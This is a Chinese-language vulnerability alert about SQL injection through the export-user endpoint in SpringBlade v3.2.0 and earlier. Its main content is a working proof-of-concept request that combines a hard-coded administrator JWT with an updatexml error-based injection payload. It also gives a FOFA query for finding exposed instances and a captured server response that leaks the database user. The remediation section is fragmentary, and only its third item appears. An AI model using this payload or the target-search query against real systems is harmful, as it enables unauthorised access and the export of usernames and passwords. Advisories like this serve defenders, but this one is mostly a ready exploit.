

SpringBlade export-user SQL 注入漏洞预警

漏洞描述

SpringBlade v3.2.0 及之前版本框架后台 export-user 路径存在安全漏洞，攻击者利用该漏洞可通过组件customSqlSegment 进行SQL注入攻击，攻击者可将用户名、密码等敏感信息通过 excel 导出。

影响范围

v3.2.0 <= SpringBlade

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	[已公开]	[已公开]	[已知]

风险等级

维度	评价
威胁等级	【高危】
影响面	【广】
攻击者价值	【中】
利用难度	【低】

漏洞复现

FOFA: body="<https://bladex.vip>"

POC/EXP:

```
GET /api/blade-user/export-user?Blade-Auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyliwiYXVkljoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xIX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwicG9zdF9pZCI6IjExMjM1OTg4MTc3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJybGVfaWQiOiIwMTIzNTk4ODE2NzM4Njc1MjAxliwidXNlcl9uYW1lIjoiYWRTaW4iLCJuaWNrX25hbWUiOiIlnrqHnklblkZgiLCJ0b2t1bl90eXBlljoiYWNjZXNzX3Rva2VuliwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRTaW4iLCJjbGllbnRfaWQiOiJzYWJlci9.UHWWVEc6oi6Z6_AC5_WcRrKS9FB3aYH7XZxL9_xH-ylOUnEBrFoylXjGEwRY3Dv7GJeFnl5ppu8eOS3YYFqdeQ&account=&realName=&1-updatexml(1,concat(0x7e,(select+user%28%29),0x7e),1)=1 HTTP/1.1
Host: 127.0.0.1:8085
Accept: application/json, text/plain, /
DNT: 1
```

Connection: close

Request	Response
<pre> Pretty Raw Hex 1 GET /api/blade-user/export-user?Blade-Auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1bzIxIj09.eypjc3MiOiJpc3N1c2VyYyYXkiOiYXVkaWwvZUIiLCJ0ZW5hbnRfYWQlOiJlMDAwMDAiLCJyb2x1Ij25hbWUiOiJhZG1pbmlzdHdodG9yYiwicG9gdF9pZC16IjExMjMtOTg0MTc3Mzg2NzUyMDEiLCJ1c2VyZXIkljo1MTEyZSU0ODgyMTczOjDyNTIwMSIsInJvbGVafWQiOiJmTzIzNTk0MDE2Nm4nIj01MjAxIiwidXN1c19uYW11Ijo1YWRtaW4iLCJuaWNRiLX25hbWUiOiJlbnRrKkblbkZgiLCJ0b2t1bi90eXB1Ijo1YWNjaXNzX3Rva2Vu1iwiZGVwdF9pZC16IjExMjMtOTg0MTc3Mzg2NzUyMDEiLCJhY2NvdW50Ijo1YWRtaW4iLCJjbG1lbnRfaWQiOiJyYXN1Ijo1Yj09.HWHMVcc6o1626_AC5_WcRrKS9FB34YH7XZxL9_xH-yloUnBrFoyIXjGEwRY3Dv7GJeFn15ppu8e0S3YYFqdeQ&account=&realName=&1-updatexml(1,concat(0x7e,(select user%28%29),(0x7e)),1)=1 HTTP/1.1 2 Host: 192.168.1.59:8085 3 Accept: application/json, text/plain, */* 4 DNT: 1 5 Authorization: Basic c2FiZXI2c2FiZXJfc2VmcmV0 6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 7 Referer: http://192.168.1.59:8085/ 8 Accept-Encoding: gzip, deflate 9 Accept-Language: zh-CN,zh;q=0.9 10 Connection: close 11 12 </pre>	<pre> Pretty Raw Hex Render 1 HTTP/1.1 500 Internal Server Error 2 Server: nginx/1.20.1 3 Date: Mon, 25 Dec 2023 02:56:19 GMT 4 Content-Type: application/json;charset=UTF-8 5 Connection: close 6 Vary: Origin 7 Vary: Access-Control-Request-Method 8 Vary: Access-Control-Request-Headers 9 Content-Length: 833 10 11 [{"code":500,"success":false,"data":{"msg":"\n#### Error querying database. Cause: java.sql.SQLException: XPATH syntax error: '\nhcw@localhost'\n\n### The error may exist in class path resource [org/springblade/modules/system/mapper/UserMapper.xml]\n\n### The error may involve defaultParameterMap\n\n### The error occurred while setting parameters\n\n### SQL: SELECT id, tenant_id, user_type, account, name, real_name, email, phone, birthday, role_id, dept_id, post_id FROM blade_user WHERE (1 - updatexml(1, concat(0x7e, (SELECT user()), 0x7e), 1) LIKE ? AND is_deleted = ?)\n\n### Cause: java.sql.SQLException: XPATH syntax error: '\nhcw@localhost'\n\n### uncategorized SQLException: SQL state [HY000]; error code [1105] ; XPATH syntax error: '\nhcw@localhost'; nested exception is java.sql.SQLException: XPATH syntax error: '\nhcw@localhost'"}]} </pre>

修复方案

3、如非必要，禁止公网访问该系统。